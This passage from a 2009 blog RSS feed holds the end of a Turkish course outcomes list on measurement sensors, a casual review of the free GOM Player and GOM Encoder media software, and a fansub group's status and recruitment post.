<p>9.      Üretici firmaların kataloglarını inceleyerek enkoder, doğrusal cetvel, basınç algılayıcısı, kuvvet ölçer ve sıcaklık ölçer cihazlarını seçer.</p>
<p>10.  Meslek Yüksekokulunda mevcut atelye ve laboratuardaki dijital ölçüm cihazların çalışmasını gözlemler. </p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GOM Player and GOM Encoder]]></title>
<link>http://martzlimpin.wordpress.com/2009/07/07/gom-player-and-gom-encoder/</link>
<pubDate>Tue, 07 Jul 2009 14:23:04 +0000</pubDate>
<dc:creator>martz</dc:creator>
<guid>http://martzlimpin.wordpress.com/2009/07/07/gom-player-and-gom-encoder/</guid>
<description><![CDATA[Now here is another good find. GOM Player and GOM Encoder, I agree the name sound a bit silly but ho]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="alignleft" src="http://www.gomlab.com/ginclude/img/software_mainimg_gomplayer.gif" alt="" width="150" height="145" />Now here is another good find. <a class="zem_slink" title="GOM Player" rel="homepage" href="http://www.gomplayer.com/main.html">GOM Player</a> and GOM Encoder, I agree the name sound a bit silly but hold on just a little because this one is not just your average <a class="zem_slink" title="Media player (application software)" rel="wikipedia" href="http://en.wikipedia.org/wiki/Media_player_%28application_software%29">media player</a>.</p>
<p>GOM Player&#8217;s <a class="zem_slink" title="User interface" rel="wikipedia" href="http://en.wikipedia.org/wiki/User_interface">user interface</a> is just simple, after all what is there to complicate when what you just want to do is play your media. After installation and a series of next, next, finish I was brought to the main display of the <a class="zem_slink" title="Computer software" rel="wikipedia" href="http://en.wikipedia.org/wiki/Computer_software">software</a>. You can immediately pop in your media and start your <a class="zem_slink" title="Couch potato" rel="wikipedia" href="http://en.wikipedia.org/wiki/Couch_potato">couch potato</a> habits. I have used it myself and my verdict is, yes, it is more than par among other video players. The application can both handle audio and video at it plays pretty well, simple and straight.</p>
<p>Some of its features are:</p>
<p>1. In-built <a class="zem_slink" title="Codec" rel="wikipedia" href="http://en.wikipedia.org/wiki/Codec">codec</a> finder (that is if GOM Player really really doesn&#8217;t have the codec).</p>
<p>2. Capability to play broken <a class="zem_slink" title="Audio Video Interleave" rel="wikipedia" href="http://en.wikipedia.org/wiki/Audio_Video_Interleave">AVI</a> files (the developer said they have a patent for this, fine!)</p>
<p>3. Subtitle support.</p>
<p>4. Nice and easy playlist (<a class="zem_slink" title="Winamp" rel="homepage" href="http://www.winamp.com/">winamp</a> like).</p>
<p>5. Support for multiple media types.</p>
<p>6. <a class="zem_slink" title="Screenshot" rel="wikipedia" href="http://en.wikipedia.org/wiki/Screenshot">Screen capture</a>.</p>
<p>7. Advance features like equalizer, repeat and forward functions (I really don&#8217;t get it why these are advance features.)</p>
<p>The same developer also doles out another application together with their player, the GOM <a class="zem_slink" title="Encoder" rel="wikipedia" href="http://en.wikipedia.org/wiki/Encoder">encoder</a> which I agree is also featured packed. You can get the list of the encoder features <a href="http://www.gomlab.com/eng/GE_Introduction.html">here</a>.</p>
<p>Most of all, it is again&#8230; free. I hope it stays that way. Check the app out at their <a href="http://www.gomlab.com/eng/">website</a>.</p>
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<title><![CDATA[Status]]></title>
<link>http://ainexfansubs.wordpress.com/2009/07/05/needed-encoder/</link>
<pubDate>Sun, 05 Jul 2009 23:36:12 +0000</pubDate>
<dc:creator>xenia</dc:creator>
<guid>http://ainexfansubs.wordpress.com/2009/07/05/needed-encoder/</guid>
<description><![CDATA[Hi all, we have Umineko ep1 all set and ready to&#8230; encode.  But that&#8217;s an issue since we ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Hi all, we have Umineko ep1 all set and ready to&#8230; encode.  <span style="text-decoration:line-through;">But that&#8217;s an issue since we lack an encoder for this show.</span></p>
<p>yay encoder found <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  and he was actually an encoder for ainex in the past but drama happened due to my bitchy nature</p>
<p>sorry azul T_T</p>
<p>but anyone can still apply as translator for a new show, or editor for our OTHER planned show (also, kfx would be nice for the other show, since i do plain boring not matching stuff)</p>
<p>Please contact xenia on our irc channel (#ainex@irc.rizon.net) if you&#8217;re interested in helping out.</p>
<p>Quick update: natsume s2 ep 13 (end) is also ready for encode and should be available sometime today (hopefully)</p>
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